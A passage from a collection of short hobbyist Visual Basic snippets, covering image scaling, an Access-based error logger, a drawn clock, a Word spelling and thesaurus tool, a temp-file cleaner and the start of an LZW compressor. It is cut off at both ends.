.ViewImage.Width\n dIHeight = .PicBack.Height - 1\n dIWidth = .PicBack.Width - 1\n .ViewImage.Stretch = True\n .ViewImage.Width = .PicBack.Width - 1\n dPercent = (.PicBack.Width - 1) / dWidth * 100\n .ViewImage.Height = dHeight / 100 * dPercent\n End If\n .ViewImage.Visible = True\n MidPic frmMain2000\nEnd With\nExit Sub\nnoshow:\nResume noshow1\nnoshow1:\nEnd Sub\nPublic Sub MidPic(ByVal fForm As Form)\n fForm.ViewImage.Move (fForm.PicBack.Width - fForm.ViewImage.Width) / 2, (fForm.ViewImage.Height - fForm.ViewImage.Height) / 2\nEnd Sub\n'How to call the function\nCall PicShow(\"c:\\image.jpg\", frmName)"},{"WorldId":1,"id":1950,"LineNumber":1,"line":"'* Created by Walker Brother (tm)\n'* web page : http://www.walkerbro.8m.com\n'* e-mail : info@walkerbro.8m.com\n'* This Module Logs the Errors your application may incounter into a MDB, if the MDB\n'* does not exist the it Creates it.\n'* It Creates a passworded MDB to stop other accessing your errors, you then can make\n'* a frontend to read your errors.\n'* Table Name : ErrList\n'* Field Name : ErrDate, ErrDes, ErrNum, ErrNotes, ErrUser '* 'Usage \n'* Error_Handler:\n'* Select Case Error_Handler_Doc(\"Name.mdb\", Now, 123, \"Description\", \"Notes\")\n'* Case \"True\" \n'* Case \"False\"\n'* End Select\n'* Load in \"References\" the \"Microsoft DAO 3.51 Object Library\"\n Dim NewDB As Database\n Dim ExistDB As Database\n Dim ExistRS As Recordset\n \nPublic Function Error_Handler_Doc(ByVal ErrMDB As String, ErrDate As Date, ErrNum As Long, ErrDes As String, ErrNote As String, Optional ErrUser As String) As Boolean\nSelect Case Error_Handler_MDB(ErrMDB)\n Case \"False\"\n If Error_Handler_Create(ErrMDB, \"!@#$\") = False Then\n Error_Handler_Doc = False\n Exit Function\n End If\nEnd Select\n Set ExistDB = OpenDatabase(\"C:\\Program Files\\Common Files\\Walker Brothers\\ErrorHandler\\\" & ErrMDB, False, False, \";pwd=!@#$\")\n Set ExistRS = ExistDB.OpenRecordset(\"ErrList\", dbOpenDynaset)\n ExistRS.AddNew\n ExistRS.Fields!ErrNum = ErrNum & \"\"\n ExistRS.Fields!ErrDate = ErrDate & \"\"\n ExistRS.Fields!ErrDes = ErrDes & \"\"\n ExistRS.Fields!ErrNote = ErrNote & \"\"\n ExistRS.Fields!ErrUser = ErrUser & \"\"\n ExistRS.Update\n ExistRS.Close\n ExistDB.Close\n Set ExistRS = Nothing\n Set ExistDB = Nothing\n Error_Handler_Doc = True\nEnd Function\nPublic Function Error_Handler_MDB(ByVal ErrMDB As String) As Boolean\n On Error Resume Next\n Open \"C:\\Program Files\\Common Files\\Walker Brothers\\ErrorHandler\\\" & ErrMDB For Input As #1\n If Err Then\n Error_Handler_MDB = False\n Exit Function\n End If\n Close #1\n Error_Handler_MDB = True\nEnd Function\nPublic Function Error_Handler_Create(ByVal ErrMDB As String, ByVal ErrMDBPassword As String) As Boolean\n Error_Handler_Create = False\n If CreateNewDirectory(\"C:\\Program Files\\Common Files\\Walker Brothers\\ErrorHandler\") = False Then\n Exit Function\n End If\n On Error GoTo Err_Handler\n If ErrMDBPassword <> \"\" Then\n Set NewDB = Workspaces(0).CreateDatabase(\"C:\\Program Files\\Common Files\\Walker Brothers\\ErrorHandler\\\" & ErrMDB, dbLangGeneral & \";pwd=\" & ErrMDBPassword)\n Else\n Set NewDB = Workspaces(0).CreateDatabase(\"C:\\Program Files\\Common Files\\Walker Brothers\\ErrorHandler\\\" & ErrMDB, dbLangGeneral)\n End If\n 'Now call the functions for each table\n Dim b As Boolean\n b = Error_Handler_Err_List\n If b = False Then\n Error_Handler_Create = False\n NewDB.Close\n Set NewDB = Nothing\n Exit Function\n End If\n Error_Handler_Create = True\n SetAttr \"C:\\Program Files\\Common Files\\Walker Brothers\\ErrorHandler\\\" & ErrMDB, vbHidden\n Exit Function\nErr_Handler:\n If Err.Number <> 0 Then\n Error_Handler_Create = False\n NewDB.Close\n Set NewDB = Nothing\n Exit Function\n End If\nEnd Function\nPublic Function Error_Handler_Err_List() As Boolean\n Dim TempTDef As TableDef\n Dim TempField As Field\n Dim TempIdx As Index\n Error_Handler_Err_List = False\n On Error GoTo Err_Handler\n \n Set TempTDef = NewDB.CreateTableDef(\"ErrList\")\n Set TempField = TempTDef.CreateField(\"ErrDate\", 8)\n TempField.Attributes = 1\n TempField.Required = False\n TempField.OrdinalPosition = 0\n TempTDef.Fields.Append TempField\n TempTDef.Fields.Refresh\n \n Set TempField = TempTDef.CreateField(\"ErrNum\", 4)\n TempField.Attributes = 1\n TempField.Required = False\n TempField.OrdinalPosition = 1\n TempTDef.Fields.Append TempField\n TempTDef.Fields.Refresh\n \n Set TempField = TempTDef.CreateField(\"ErrDes\", 12)\n TempField.Attributes = 2\n TempField.Required = False\n TempField.OrdinalPosition = 2\n TempField.AllowZeroLength = False\n TempTDef.Fields.Append TempField\n TempTDef.Fields.Refresh\n \n Set TempField = TempTDef.CreateField(\"ErrNote\", 12)\n TempField.Attributes = 2\n TempField.Required = False\n TempField.OrdinalPosition = 3\n TempField.AllowZeroLength = False\n TempTDef.Fields.Append TempField\n TempTDef.Fields.Refresh\n \n Set TempField = TempTDef.CreateField(\"ErrUser\", 10)\n TempField.Attributes = 2\n TempField.Required = False\n TempField.OrdinalPosition = 4\n TempField.Size = 50\n TempField.AllowZeroLength = True\n TempTDef.Fields.Append TempField\n TempTDef.Fields.Refresh\n NewDB.TableDefs.Append TempTDef\n NewDB.TableDefs.Refresh\n 'Done, Close the objects\n Set TempTDef = Nothing\n Set TempField = Nothing\n Set TempIdx = Nothing\n Error_Handler_Err_List = True\n Exit Function\nErr_Handler:\n If Err.Number <> 0 Then\n Set TempTDef = Nothing\n Set TempField = Nothing\n Set TempIdx = Nothing\n Error_Handler_Err_List = False\n Exit Function\n End If\nEnd Function\nPublic Function CreateNewDirectory(ByVal NewDirectory As String) As Boolean\n Dim sDirTest As String\n Dim SecAttrib As SECURITY_ATTRIBUTES\n Dim bSuccess As Boolean\n Dim sPath As String\n Dim iCounter As Integer\n Dim sTempDir As String\n Dim iFlag As Integer\n On Error GoTo ErrorCreate\n iFlag = 0\n sPath = NewDirectory\n If Right(sPath, Len(sPath)) <> \"\\\" Then\n sPath = sPath & \"\\\"\n End If\n iCounter = 1\n Do Until InStr(iCounter, sPath, \"\\\") = 0\n iCounter = InStr(iCounter, sPath, \"\\\")\n sTempDir = Left(sPath, iCounter)\n sDirTest = Dir(sTempDir)\n iCounter = iCounter + 1\n 'create directory\n SecAttrib.lpSecurityDescriptor = &O0\n SecAttrib.bInheritHandle = False\n SecAttrib.nLength = Len(SecAttrib)\n bSuccess = CreateDirectory(sTempDir, SecAttrib)\n Loop\n CreateNewDirectory = True\n Exit Function\nErrorCreate:\n CreateNewDirectory = False\n Resume 0\nEnd Function\n' 'Usage\n' Select Case Error_Handler_Doc(\"Name.mdb\", Now, 123, \"Description\", \"Notes\")\n' Case \"True\"\n' Case \"False\"\n' End Select\n"},{"WorldId":1,"id":2115,"LineNumber":1,"line":"Option Explicit\nPrivate Const Offset = 50\t\t' Border offset\nPrivate cX As Single, cY As Single\t' Center Point\nPrivate r As Integer\t\t\t' Radius\nPrivate Sub Form_DblClick()\n ' Allow form double-click to unload clock\n Unload Me\nEnd Sub\nPrivate Sub Form_Load()\n ' Remove redraw flicker\n Me.AutoRedraw = True\n Timer1.Interval = 500\n \n ' Clock size (radius)\n r = 500\n ' You can center clock on the form...\n cX = Me.Width / 2 - Offset\n cY = Me.Height / 2 - Offset * 2\n ' OR you can put clock top-left on form...\n ' UNCOMMENT TO SEE\n' cX = r + Offset * 2\n' cY = r + Offset * 2\n ' OR even a kind of combination - REMOVE THE FORM's CAPTION AND\n ' CONTROL BOX FOR FULL EFFECT.\n ' UNCOMMENT TO SEE\n' Me.Width = r * 2.5\n' Me.Height = r * 2.5\n' cX = Me.Width / 2 - Offset / 2\n' cY = Me.Height / 2 - Offset / 2\nEnd Sub\nPrivate Sub Form_Unload(Cancel As Integer)\n Timer1.Enabled = False\nEnd Sub\nPrivate Sub Timer1_Timer()\n Static i As Integer\n Me.Cls\n Me.PSet (cX, cY), vbWhite\n '----------\n 'print face\n '----------\n '12 O'Clock\n SetPoint 58, 0.99\n Print \"12\"\n '3 O'Clock\n SetPoint 13, 0.85\n Print \"3\"\n '6 O'Clock\n SetPoint 31, 0.7\n Print \"6\"\n '9 O'Clock\n SetPoint 47, 1\n Print \"9\"\n '-------\n 'seconds\n '-------\n DrawLine Second(Now), 6, 0.98, 1\n '-------\n 'minutes\n '-------\n DrawLine Minute(Now), 6, 0.9, 3\n '-------\n 'hour\n '-------\n DrawLine Hour(Now), 30, 0.6, 4\n '-------\n 'border\n '-------\n Me.DrawWidth = 2\n Me.Circle (cX, cY), r + Offset\nEnd Sub\nPrivate Sub SetPoint(Position As Integer, StartPercent As Single)\n CurrentX = Sin((180 - Position * 6) * 3.1415926 / 180) * _\n (StartPercent * r) + cX\n CurrentY = Cos((180 - Position * 6) * 3.1415926 / 180) * _\n (StartPercent * r) + cY\nEnd Sub\nPrivate Sub DrawLine(Position As Integer, Units As Integer, _\n LengthPercent As Single, Size As Integer)\n Me.DrawWidth = Size\n Me.Line (cX, cY)-(Sin((180 - Position * Units) * _\n 3.1415926 / 180) * (LengthPercent * r) + cX, _\n Cos((180 - Position * Units) * 3.1415926 / 180) * _\n (LengthPercent * r) + cY)\nEnd Sub\n"},{"WorldId":1,"id":2770,"LineNumber":1,"line":"Dim objAgent\nDim objChar\nDim objRequest\nDim txtSpeak\nDim strName\nset objAgent = CreateObject(\"Agent.Control.1\")\nobjAgent.Connected = True\nstrName = \"Peedy\" 'you can use genie, or merlin, or robby or whatever\nobjAgent.Characters.Load strName, strName & \".acs\"\nSet objChar = objAgent.Characters(strName)\n'objChar.LanguageID = &h409\nobjChar.Show\nobjChar.Speak(\"Hello! I'm \" & strName)\nobjChar.Play \"Wave\"\ntxtSpeak = \"What should I say next?\"\nwhile txtSpeak > \"\"\n objChar.Speak txtSpeak\n 'objChar.Play \"Hearing_1\"\n txtSpeak = InputBox(\"What should I say next?\", \"Peedy App\")\nwend\nobjChar.Speak \"Goodbye!\"\nobjChar.Hide\nmsgbox \"Goodbye!\", vbokonly, \"Peedy App\"\nSet objChar = Nothing\nobjAgent.Characters.Unload strName\n"},{"WorldId":1,"id":1963,"LineNumber":1,"line":"'add this to your form's code\nPrivate Sub Form_KeyPress(KeyAscii As Integer)\n \n 'catch both \"Enter\" keys on keyboard\n If (KeyAscii = vbKeyReturn) Or (KeyAscii = vbKeySeparator) Then\n SendKeys \"{tab}\"\n End If\nEnd Sub"},{"WorldId":1,"id":2657,"LineNumber":1,"line":"Option Explicit\nPrivate Declare Function SHAddToRecentDocs Lib \"Shell32\" (ByVal lFlags As Long, ByVal lPv As Long) As Long\n\nPrivate Sub Command1_Click()\nSHAddToRecentDocs 0, 0 ' Clear All Items Under The Documents Menu\nEnd Sub\n"},{"WorldId":1,"id":1979,"LineNumber":1,"line":"'Add 2 command buttons to your form (Call them btnCalc and btnExit\n'Add a Combobox called cboDrives and a Textbox called txtID\nOption Explicit\nPrivate Sub btnCalc_Click()\n Dim MyCD As New CCD\n MyCD.Init cboDrives.Text\n txtID.Text = MyCD.DiscID\nEnd Sub\nPrivate Sub btnExit_Click()\n Unload Me\nEnd Sub\nPrivate Sub Form_Load()\n cboDrives.AddItem \"D:\"\n cboDrives.AddItem \"E:\"\n cboDrives.AddItem \"F:\"\n cboDrives.AddItem \"G:\"\n cboDrives.AddItem \"H:\"\n cboDrives.AddItem \"I:\"\n cboDrives.ListIndex = 0\nEnd Sub\n"},{"WorldId":1,"id":1989,"LineNumber":1,"line":"' Step 1. Place a command button in your form and name it Command1 and make the \n'caption Area Of A Circle.\n' Step 2. Copy this code into the form...\nPrivate Sub Command1_Click()\n \n Dim Radius\n Radius = InputBox(\"Type In The Radius\", \"Radius\")\n Dim Area\n Area = 3.14 * (Radius * Radius)\n MsgBox Area, vbDefaultButton1, \"Answer\"\n \n Dim Answer\n \n \nEnd Sub\n"},{"WorldId":1,"id":1996,"LineNumber":1,"line":"Dim iCol As Integer\nPrivate Sub ListView1_ColumnClick(ByVal ColumnHeader As_ MSComctlLib.ColumnHeader)\n \n ' When a ColumnHeader object is clicked, the ListView control is\n ' sorted by the subitems of that column.\n ' Set the SortKey to the Index of the ColumnHeader - 1\n \n If ColumnHeader.Index - 1 <> iCol Then\n ListView1.SortOrder = 0\n Else\n ListView1.SortOrder = Abs(ListView1.SortOrder - 1)\n End If\n \n ListView1.SortKey = ColumnHeader.Index - 1\n \n ' Set Sorted to True to sort the list.\n \n ListView1.Sorted = True\n iCol = ColumnHeader.Index - 1\nEnd Sub"},{"WorldId":1,"id":2021,"LineNumber":1,"line":"Public Function FileExists(strPath As String) As Integer\n FileExists = Not (Dir(strPath) = \"\")\nEnd Function"},{"WorldId":1,"id":3434,"LineNumber":1,"line":"Private Sub Command1_Click()\nKillFiles \"C:\\windows\\temp\", \".tmp\"\nEnd Sub\nPublic Sub KillFiles(FilePath As String, Extension As String)\nDim curfile As String\nDim mydate As String\nDim tgtdate As String\nDim tgtpath As String\nDim oldpath As String\nDim indx As Integer\nDim attr As Integer\nOn Error GoTo TrapError\noldpath = CurDir 'Save Current Path and drive'\nmydate = Format(Day(Now), \"##00\") 'Force current date to 2 digits\nChDrive FilePath 'make sure we change drive\nChDir FilePath 'and path to correct place\n'\n'Build full target path variable\n'\nIf Right(FilePath, 1) = \"\\\" Then\n tgtpath = FilePath & \"*\" & Extension\nElse\n tgtpath = FilePath & \"\\*\" & Extension\nEnd If\n'\n' Get first target extension file in directory\n'\ncurfile = Dir(tgtpath, vbNormal)\n'\n' Loop through directory of all extension files\n'\nWhile curfile <> \"\"\n tgtdate = FileDateTime(curfile) 'get file date\n indx = InStr(1, tgtdate, \"/\") 'find first date slash\n tgtdate = Mid(tgtdate, indx + 1) 'move in data\n indx = InStr(1, tgtdate, \"/\") 'find second slash\n tgtdate = Format(Left(tgtdate, indx - 1), \"##00\") 'form 2 digit date\n '\n ' Check to see if the dates are the same\n ' if not, delete the file\n '\n If tgtdate <> mydate Then\n '\n ' check attributes for readonly, system and hidden files\n '\n attr = GetAttr(curfile) And 31 ' and out unwanted bits\n If attr <> 0 Then 'file is special\n resp = MsgBox(curfile & \" Is protected ... Delete?\", vbYesNo)\n If resp = vbYes Then\n SetAttr curfile, vbNormal 'reset attributes so u can delete\n Kill curfile ' delete the file\n End If\n Else\n Kill curfile ' file is normal file .. delete it\n End If\n End If\n curfile = Dir() ' get next file\nWend\nChDrive oldpath 'restore original drive\nChDir oldpath 'restore original path\nExit Sub\nTrapError:\n MsgBox Error(Err) & \" on \" & curfile\n Resume Next\nEnd Sub\n"},{"WorldId":1,"id":6014,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6314,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":2047,"LineNumber":1,"line":"Private Sub Form_Load()\nDim OpenWhat\n'MsgBox UserID\nOn Error GoTo bwell\nOpen App.Path & \"\\\" & UserID & \".txt\" For Input As #1\nOn Error Resume Next\nDo Until EOF(1)\nLine Input #1, OpenWhat\nShell \"Start \" & OpenWhat\nLoop\nClose #1\nEnd\nbwell:\nOpen App.Path & \"\\\" & UserID & \".txt\" For Output As #2: Close #2\nResume\nEnd Sub"},{"WorldId":1,"id":2222,"LineNumber":1,"line":"Private Declare Function ShellExecute Lib \"shell32.dll\" Alias _\n\"ShellExecuteA\" (ByVal hwnd As Long, ByVal lpOperation As _\nString, ByVal lpFile As String, ByVal lpParameters As String, _\nByVal lpDirectory As String, ByVal nShowCmd As Long) As Long\n'The Search-Engine list:\nConst SearchEngineList As String = \"http://www.altavista.digital.com/cgi-bin/query?pg=q&what=web&fmt=.&q=||http://www.excite.com/search.gw?c=web&search=||http://www.hotbot.com/?SW=web&SM=MC&MT=||http://guide-p.infoseek.com/Titles?qt=|&col=WW&sv=IS&lk=noframes|http://www.lycos.com/cgi-bin/pursuit?query=||http://search.yahoo.com/bin/search?p=||http://search02.softseek.com/cgi-bin/search.cgi?keywords=|&seekindex=index&maxresults=025&cb=|http://www.audiofind.com:70/?audiofindsearch=|&audiofindtype=\"\nConst wAltaVista As Long = 1\nConst wExcite As Long = 3\nConst wHotBot As Long = 5\nConst wInfoseek As Long = 7\nConst wLycos As Long = 9\nConst wYahoo As Long = 11\nConst wSoftSeek As Long = 13\nConst wAudioFind As Long = 15\nFunction PartOfString(Str As String, Seperator As String, Number As Long)\nDim Current, Temp, Full\nCurrent = 1\nFor q = 1 To Len(Str)\nTemp = Mid(Str, q, 1)\nIf Temp = Seperator Then Current = Current + 1\nIf Current = Number And Not Temp = Seperator Then Full = Full & Temp\nNext q\nPartOfString = Full\nEnd Function\nSub SearchTheWeb(ForWhat As String, WithWhat As Long)\nret& = ShellExecute(Me.hwnd, \"Open\", PartOfString(SearchEngineList, \"|\", WithWhat) & ForWhat & PartOfString(SearchEngineList, \"|\", WithWhat + 1), \"\", App.Path, 1)\nEnd Sub"},{"WorldId":1,"id":2043,"LineNumber":1,"line":"'===========================================================================\n'Start a new project\n'add a ComboBox named cboInput\n'add a ListBox named lstDisplay\n'add a Command Button named cmdHelp caption Help\n'add a Command Button named cmdExit caption Exit\n'add 4 Command Buttons (command array) named \n'cmdAction(0)\tcaption Spelling\n'cmdAction(1)\tcaption Wildcard\n'cmdAction(2)\tcaption Anagarm\n'cmdAction(3)\tCaption Lookup\n'In the Project/References menu option tick the reference for\n'Microsoft Word 8.0 Object Library\n'===========================================================================\n'paste the following code\nOption Explicit\n'============================================================\n'== Author : Richard Lowe\n'== Date : June 99\n'== Contact : riklowe@hotmail.com\n'============================================================\n'== Desciption\n'==\n'== This program enable quick and easy desktop access to\n'== the Microsoft Word spelling and thesaurus engine.\n'==\n'============================================================\n'== Version History\n'============================================================\n'== 1.0 06-Jun-99 RL Initial Release. Spelling Only\n'== 1.1 07-Jun-99 RL Added Widcard, Anagram and Lookup\n'== 1.2 08-Jun-99 RL Added Help \n'============================================================\n'------------------------------------------------------------\n'Define constants\n'------------------------------------------------------------\nConst HeightLimit = 5000\nConst WidthLimit = 5640\n'------------------------------------------------------------\n'Dimension variables\n'------------------------------------------------------------\nDim objMsWord As Word.Application\nDim SugList As SpellingSuggestions\nDim sug As SpellingSuggestion\nDim synInfo As SynonymInfo\nDim synList As Variant\nDim AntList As Variant\nPrivate Sub cmdAction_Click(Index As Integer)\n'------------------------------------------------------------\n' dimension local variables\n'------------------------------------------------------------\nDim strTemp As String\nDim blnRet As Boolean\nDim iCount As Integer\n'------------------------------------------------------------\n' Asign an error handler\n'------------------------------------------------------------\nOn Error GoTo eh_Trap:\n'------------------------------------------------------------\n' If cboInput has changed, add it as an entry to the list\n'------------------------------------------------------------\n If cboInput.List(0) <> cboInput Then\n cboInput.AddItem cboInput, 0\n End If\n \n'------------------------------------------------------------\n'Assign the objMsWord object reference to the Word application\n'------------------------------------------------------------\n Set objMsWord = New Word.Application\n \n'------------------------------------------------------------\n'Due to a bug, you have to open a file to use GetSpellingSuggestions\n'This is documented in Q169545 on microsoft knowledge base\n'------------------------------------------------------------\n objMsWord.WordBasic.FileNew 'open a doc\n objMsWord.Visible = False 'hide the doc\n \n'------------------------------------------------------------\n' clear display area\n'------------------------------------------------------------\n lstDisplay.Clear\n \n'------------------------------------------------------------\n' select which button has been pressed\n'------------------------------------------------------------\n Select Case Index\n Case 0\n'------------------------------------------------------------\n'Spelling\n'------------------------------------------------------------\n blnRet = objMsWord.CheckSpelling(cboInput)\n \n'------------------------------------------------------------\n'if incorrectly spelt, check for suggestions. Iterate and display\n'------------------------------------------------------------\n If blnRet = True Then\n lstDisplay.AddItem \"OK\"\n Else\n Set SugList = objMsWord.GetSpellingSuggestions(cboInput, _\n SuggestionMode:=wdSpelling)\n \n If SugList.Count = 0 Then\n lstDisplay.AddItem \"No suggestions\"\n Else\n For Each sug In SugList\n lstDisplay.AddItem sug.Name\n Next sug\n \n End If\n \n End If\n \n Case 1\n'------------------------------------------------------------\n'WildCard\n'------------------------------------------------------------\n Set SugList = objMsWord.Application.GetSpellingSuggestions(cboInput, _\n SuggestionMode:=wdWildcard)\n \n'------------------------------------------------------------\n'If entries found, Iterate and display\n'------------------------------------------------------------\n If SugList.Count = 0 Then\n lstDisplay.AddItem \"No suggestions\"\n Else\n For Each sug In SugList\n lstDisplay.AddItem sug.Name\n Next sug\n \n End If\n Case 2\n'------------------------------------------------------------\n'Anagram\n'------------------------------------------------------------\n Set SugList = objMsWord.GetSpellingSuggestions(cboInput, _\n SuggestionMode:=wdAnagram)\n \n'------------------------------------------------------------\n'If entries found, Iterate and display\n'------------------------------------------------------------\n If SugList.Count = 0 Then\n lstDisplay.AddItem \"No suggestions\"\n Else\n For Each sug In SugList\n lstDisplay.AddItem sug.Name\n Next sug\n End If\n \n Case 3\n'------------------------------------------------------------\n'Lookup\n'------------------------------------------------------------\n \n'------------------------------------------------------------\n'Assign the synInfo object reference to the Word Synonym Information\n'------------------------------------------------------------\n Set synInfo = objMsWord.SynonymInfo(cboInput)\n \n lstDisplay.AddItem \"--- MEANING ---\"\n \n'------------------------------------------------------------\n'If entries found, Iterate and display\n'------------------------------------------------------------\n If synInfo.MeaningCount >= 2 Then\n synList = synInfo.MeaningList\n For iCount = 1 To UBound(synList)\n lstDisplay.AddItem synList(iCount)\n Next iCount\n Else\n lstDisplay.AddItem \"None\"\n End If\n lstDisplay.AddItem \"--- SYNONYM ---\"\n \n'------------------------------------------------------------\n'If entries found, Iterate and display\n'------------------------------------------------------------\n If synInfo.MeaningCount >= 2 Then\n synList = synInfo.SynonymList(2)\n For iCount = 1 To UBound(synList)\n lstDisplay.AddItem synList(iCount)\n Next iCount\n Else\n lstDisplay.AddItem \"None\"\n End If\n \n Set synInfo = Nothing\n \n End Select\n \n'------------------------------------------------------------\n'Clean exit point\n'------------------------------------------------------------\neh_exit:\n objMsWord.Quit\n Set objMsWord = Nothing\n cboInput.SetFocus\nExit Sub\n'------------------------------------------------------------\n'Error Handler\n'------------------------------------------------------------\neh_Trap:\n \n lstDisplay.AddItem Err & vbTab & Error$\n Resume eh_exit:\n \nEnd Sub\nPrivate Sub cmdExit_Click()\n Unload Me\nEnd Sub\nPrivate Sub cmdHelp_Click()\n'------------------------------------------------------------\n'Display help information in the viewing area\n'------------------------------------------------------------\n lstDisplay.Clear\n \n lstDisplay.AddItem \"Spelling \"\n lstDisplay.AddItem \"Enter a word into the box above, press 'Spelling'\"\n lstDisplay.AddItem \"Correctly spelt words will display 'OK'\"\n lstDisplay.AddItem \"Incorrectly spelt words will display a list of \"\n lstDisplay.AddItem \"choices that most closely match the word\"\n lstDisplay.AddItem \" \"\n lstDisplay.AddItem \"Wildcard \"\n lstDisplay.AddItem \"Enter a word into the box above, press 'Wildcard'\"\n lstDisplay.AddItem \"Use a ? to indicate an unkown letter\"\n lstDisplay.AddItem \"Use a * to indicate muliple unkown letters\"\n lstDisplay.AddItem \"Examples (?) - Cl?se, Un?no?n \"\n lstDisplay.AddItem \"Examples (*) - Cl*, C*e\"\n lstDisplay.AddItem \" \"\n lstDisplay.AddItem \"Anangram \"\n lstDisplay.AddItem \"Enter a word into the box above, press 'Anagram'\"\n lstDisplay.AddItem \"The program will find all words in the \"\n lstDisplay.AddItem \"dictionary containing those letters \"\n lstDisplay.AddItem \" \"\n lstDisplay.AddItem \"Lookup \"\n lstDisplay.AddItem \"Enter a word into the box above, press 'Lookup'\"\n lstDisplay.AddItem \"The program will find the meaning and synonym \"\n lstDisplay.AddItem \"for the word from the dictionary \"\n lstDisplay.AddItem \" \"\n lstDisplay.AddItem \"General \"\n lstDisplay.AddItem \"Double click on an entry in this list box\"\n lstDisplay.AddItem \"and it will be transfered to the box above.\"\n lstDisplay.AddItem \"Use the up and down arrows on the keyboard \"\n lstDisplay.AddItem \"or select the arrow at the right hand side \"\n lstDisplay.AddItem \"of the above box, to scroll through all of \"\n lstDisplay.AddItem \"the word you have entered.\"\n lstDisplay.AddItem \"\"\n lstDisplay.AddItem \"Please e-mail any comments / suggestions to\"\n lstDisplay.AddItem \"me - It's great to get feedback.\"\n lstDisplay.AddItem \"My e-mail address is riklowe@hotmail.com\"\n lstDisplay.AddItem \"\"\n \nEnd Sub\nPrivate Sub Form_Load()\n cboInput.Clear\n \nEnd Sub\nPrivate Sub Form_Resize()\n'------------------------------------------------------------\n'Do not let the screen size get to small, so that the button\n'are always visible\n'------------------------------------------------------------\n Select Case Me.WindowState\n Case vbNormal\n If Me.Height < HeightLimit Then\n Me.Height = HeightLimit\n End If\n lstDisplay.Height = Me.Height - 1000\n \n Me.Width = WidthLimit\n Case Else\n End Select\n \nEnd Sub\nPrivate Sub lstDisplay_DblClick()\n'------------------------------------------------------------\n'Move entry from listbox into combo box\n'------------------------------------------------------------\n \n cboInput.AddItem lstDisplay, 0\n cboInput.ListIndex = 0\n lstDisplay.Clear\n cboInput.SetFocus\n \nEnd Sub\n"},{"WorldId":1,"id":3724,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":2706,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":2808,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3766,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5276,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":2045,"LineNumber":1,"line":"Public Function FileExists(strFile as String) As String\n On Error Resume Next 'Doesn't raise error - FileExists will be false\n 'if error occurs\n 'a valid path would be someting like \"C:\\Windows\\win.ini\" - Full path\n 'must be specified\n FileExists = Dir(strFile, vbHidden) <> \"\"\n \nEnd Function\n"},{"WorldId":1,"id":2096,"LineNumber":1,"line":"'Place this in Form_Load() or wherever else you think it is appropriate ;)\n CenterInWorkArea Me\n"},{"WorldId":1,"id":2144,"LineNumber":1,"line":"Private Sub Command1_Click()\nDim i%, j%, R&, c&\n'Simple routine to demonstrate color manipulation\n'in a picture. Not fast but it works.\n'Picture1 must contain an image and be Autosized to it.\n'(Point will return -1 for pixels outside an image, and\n'this is invalid)\nFor i = 0 To (Picture1.ScaleWidth - Screen.TwipsPerPixelX) _\n Step Screen.TwipsPerPixelX\n For j = 0 To (Picture1.ScaleHeight - Screen.TwipsPerPixelY) _\n Step Screen.TwipsPerPixelY\n c = Picture1.Point(i, j)\n If c >= 0 Then\n 'Point will return -1 for pixels outside an image\n c = PhotoNegative(c) 'Substitute any color routine here\n 'c = Tint(c,80)\n 'c = Brighten(c,0.1)\n 'c = Greyscale(c)\n 'etc.\n Picture1.PSet (i, j), c\n End If\n Next j\nNext i\n \nEnd Sub\n"},{"WorldId":1,"id":6057,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5257,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":2073,"LineNumber":1,"line":"dim T as integer\ndim random as integer\ndim I as integer\nPrivate Sub command2_Click()\n \n\n For I = 0 To 5\n Randomize\n Random = Int((Rnd * 51) + 1)\n lblLottery(I).Caption = Random\n Next I\nEnd Sub\nPrivate Sub Command1_Click()\nText1(0).SetFocus\nFor T = 0 To 5\nText1(T) = \"\"\nNext T\nFor I = 0 To 5\nlblLottery(I).Caption = \"\"\nNext I\nEnd Sub"},{"WorldId":1,"id":2075,"LineNumber":1,"line":"' Special thanks to Chris Dodge for reporting the bug\nOption Explicit\nPrivate Type BNode\n DictIdx As Long\n pLeft As Long\n pRight As Long\nEnd Type\nDim Dict(4096) As String\nDim NextDictIdx As Long\nDim Heap(4096) As BNode\nDim NextHeapIdx As Long\nDim pStr As Long\nSub InitDict()\n Dim i As Integer\n \n For i = 0 To 255\n Dict(i) = Chr(i)\n Next i\n' Not really necessary\n'\n' For i = 256 To 4095\n' Dict(i) = \"\"\n' Next i\n \n NextDictIdx = 256\n NextHeapIdx = 0\nEnd Sub\nFunction AddToDict(s As String) As Long\n If NextDictIdx > 4095 Then\n NextDictIdx = 256\n NextHeapIdx = 0\n End If\n \n If Len(s) = 1 Then\n AddToDict = Asc(s)\n Else\n AddToDict = AddToBTree(0, s)\n End If\nEnd Function\nFunction AddToBTree(ByRef Node As Long, ByRef s As String) As Long\n Dim i As Integer\n \n If Node = -1 Or NextHeapIdx = 0 Then\n Dict(NextDictIdx) = s\n Heap(NextHeapIdx).DictIdx = NextDictIdx\n NextDictIdx = NextDictIdx + 1\n Heap(NextHeapIdx).pLeft = -1\n Heap(NextHeapIdx).pRight = -1\n Node = NextHeapIdx\n NextHeapIdx = NextHeapIdx + 1\n AddToBTree = -1\n Else\n i = StrComp(s, Dict(Heap(Node).DictIdx))\n If i < 0 Then\n AddToBTree = AddToBTree(Heap(Node).pLeft, s)\n ElseIf i > 0 Then\n AddToBTree = AddToBTree(Heap(Node).pRight, s)\n Else\n AddToBTree = Heap(Node).DictIdx\n End If\n End If\nEnd Function\nPrivate Sub WriteStrBuf(s As String, s2 As String)\n Do While pStr + Len(s2) - 1 > Len(s)\n s = s & Space(100000)\n Loop\n Mid$(s, pStr) = s2\n pStr = pStr + Len(s2)\nEnd Sub\nFunction Compress(IPStr As String) As String\n Dim TmpStr As String\n Dim Ch As String\n Dim DictIdx As Integer\n Dim LastDictIdx As Integer\n Dim FirstInPair As Boolean\n Dim HalfCh As Integer\n Dim i As Long\n Dim ostr As String\n \n InitDict\n FirstInPair = True\n pStr = 1\n \n For i = 1 To Len(IPStr)\n Ch = Mid$(IPStr, i, 1)\n \n DictIdx = AddToDict(TmpStr & Ch)\n If DictIdx = -1 Then\n If FirstInPair Then\n HalfCh = (LastDictIdx And 15) * 16\n Else\n WriteStrBuf ostr, Chr(HalfCh Or (LastDictIdx And 